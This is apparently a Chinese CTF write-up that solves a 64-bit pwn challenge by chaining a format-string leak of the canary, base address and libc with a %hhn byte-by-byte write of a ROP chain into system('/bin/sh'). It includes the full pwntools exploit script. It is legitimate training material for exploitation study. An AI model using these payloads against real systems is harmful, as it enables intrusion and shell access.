拿到题目后,先扔到ida里面看看,有个很明显的溢出和格式化字符串
buf的长度是40,但是读入的长度是0x40。
再看看字符串
没system,也没看到有命令执行啥的危险函数的调用。感觉大概率是ret2libc了
再看看checksec
保护开着也是真全。基本上确定是用格式化字符串泄露libc地址再用ret2libc来getshell了
第一次接触格式化字符串,并且这是个64位的程序,这边有个地方有困惑,因为查询到的资料显示,64位下的*nix系统的函数参数传参是前6个参数传递给了RDI,RSI,RDX,RCX,R8,R9寄存器,后续的参数再用栈进行传递,所以我总觉得至少应该是第7个参数才会到栈上,但是其实用%6$p就可以获取到传到栈上的参数了。
格式化字符串的漏洞利用可以对任意内存进行读写,虽然在读内存时可能会遇到00截断的问题(%s)。
在经过尝试后,发现本题用%6$p获取到了栈上写入的可控数据。通过gdb调试查看
第6位的参数地址是0x7fffffffe360,canary的地址是0x7fffffffe388,要覆盖的返回值地址是0x7fffffffe398。所以通过%11$p即可读取到canary的值,这里其实也可以静态分析
查看stack算buf和var_8的差值是0x28,和gdb动态调试结果一致。又因为buf是用%6$p读取,x64是8个字节一组,所以0x28/0x8+6=11,canary的位置是11个参数处。
通过这些信息,我们目前可以做到了任意地址跳转和绕过canary。下一步就是绕过aslr,获取libc的基址。
首先我们得计算下程序加载的基址,通过前面gdb的调试,我们可以发现0x7fffffffe398处对应的是函数返回后要执行的地址,对应在ida中的地址就是
两者做差即可得到加载基址,再通过pwntools获取read,printf的偏移再加上基址,即可读到read和printf在got表中的地址,又因为aslr实际上是不会改变低12位,所以通过多个函数加载的地址即可确定libc的版本。再确定libc后,也可以相应的确定system函数和/bin/sh字符串在libc中的相对偏移
x# 获取基址和计算system以及/bin/sh在libc中的位置
scanf_got_addr = elf.got['printf']
print(hex(scanf_got_addr))
main_addr=0x12Cb
finally_addr=a-0x12cb+scanf_got_addr
print(hex(finally_addr))
payload = b'aaaa%7$s'+p64(finally_addr)
# pause()
sh.sendline(payload)
printf_addr = (u64(sh.recv()[4:10].ljust(8,b'\x00')))
system_addr=0x52290
# system_addr=0x61c90
printf_v_addr=0x61c90
sh_addr=0x1b45bd
system_real_addr=printf_addr-printf_v_addr+system_addr
bin_sh_addr=printf_addr-printf_v_addr+sh_addr
获取之后就可以开始尝试进行ret2libc了。但是这里会有个问题,因为64位的系统是1通过rdi来传递参数的,所以我们需要找一条gadget来pop rdi再ret。采用ROPgadget进行查找
可能有细心的师傅会发现ROPgadget的地址有时和ida的对不上,这个没关系。以ROPgadget为准,机器码只要执行了就行。
但是问题又来了,溢出的长度只有16位,刚刚好只能覆盖到返回地址处,那么该如何进行rop呢。这里我们要充分利用格式化字符串的任意地址写。采用%hhn,单字节的长度写入以打印的字符长度。
%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100x%10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。
这里我们先需要获取栈的地址,通过%1$p可以获取到buf开始的栈地址。预留一定的空间(因为不能写到用于写的地址)采用%hhn来逐字节写入。
xxxxxxxxxx
def write_addr(addr2w,addr_dst):
tmp_addr=addr2w
tmp_nine_addr=addr_dst
sh.sendline(b'1234'+b'\x00'*20+p64(tmp_nine_addr)+b'\x00'*7)
sh.recv()
while(tmp_addr):
send_data=tmp_addr&0xff
tmp_addr=tmp_addr//256
print(b'%'+str(send_data).encode()+b'c%9$hhn')
sh.sendline(b'%'+str(send_data).encode()+b'c%9$hhn')
sh.recv()
tmp_nine_addr+=1
sh.sendline(b'1234'+b'\x00'*20+p64(tmp_nine_addr)+b'\x00'*7)
sh.recv()
这样整体的思路就已经能串起来了。
但是实际上用的时候,却获得了EOF error。GDB调试发现也正常进入了system。这又是因为在64位的ubuntu下,调用system时栈要以16进制为基础进行对齐,这就要求我们得多ret一次才行。再次使用ROPgadget来寻找ret
所以最终的流程是这样的:
最终脚本如下:
xxxxxxxxxx
# coding:utf-8
from pwn import*
context.log_level = 'debug'
sh = process('./main.elf')
elf = ELF('./main.elf')
sh.recv()
sh.sendline('%11$p')
canary=int(sh.recv().split(b'\n')[0][2:],16)
sh.sendline('%13$p')
a=int(sh.recv().split(b'\n')[0][2:],16)
scanf_got_addr = elf.got['printf']
print(hex(scanf_got_addr))
main_addr=0x12Cb
finally_addr=a-0x12cb+scanf_got_addr
print(hex(finally_addr))
payload = b'aaaa%7$s'+p64(finally_addr)
# pause()
sh.sendline(payload)
printf_addr = (u64(sh.recv()[4:10].ljust(8,b'\x00')))
system_addr=0x52290
# system_addr=0x61c90
printf_v_addr=0x61c90
sh_addr=0x1b45bd
system_real_addr=printf_addr-printf_v_addr+system_addr
bin_sh_addr=printf_addr-printf_v_addr+sh_addr
pop_addr=a-0x12cb+0x0000000000001343
ret_addr=a-0x12cb+0x101a
# clean
sh.sendline(b'1234'+b'\x00'*35)
sh.recv()
sh.sendline(b'%1$p')
tmp_addr=int(sh.recv().split(b'\n')[0][2:],16)
nine_addr=tmp_addr+0x40
def write_addr(addr2w,addr_dst):
tmp_addr=addr2w
tmp_nine_addr=addr_dst
sh.sendline(b'1234'+b'\x00'*20+p64(tmp_nine_addr)+b'\x00'*7)
sh.recv()
while(tmp_addr):
send_data=tmp_addr&0xff
tmp_addr=tmp_addr//256
print(b'%'+str(send_data).encode()+b'c%9$hhn')
sh.sendline(b'%'+str(send_data).encode()+b'c%9$hhn')
sh.recv()
tmp_nine_addr+=1
sh.sendline(b'1234'+b'\x00'*20+p64(tmp_nine_addr)+b'\x00'*7)
sh.recv()
write_addr(pop_addr,nine_addr)
write_addr(bin_sh_addr,nine_addr+0x8)
write_addr(system_real_addr,nine_addr+0x10)
pause()
finally_payload=b'\x00'*8+b';/bin/sh;'+b'a'*23+p64(canary)+b'a'*8+p64(ret_addr)
sh.sendline(finally_payload)
sh.interactive()
成功getshell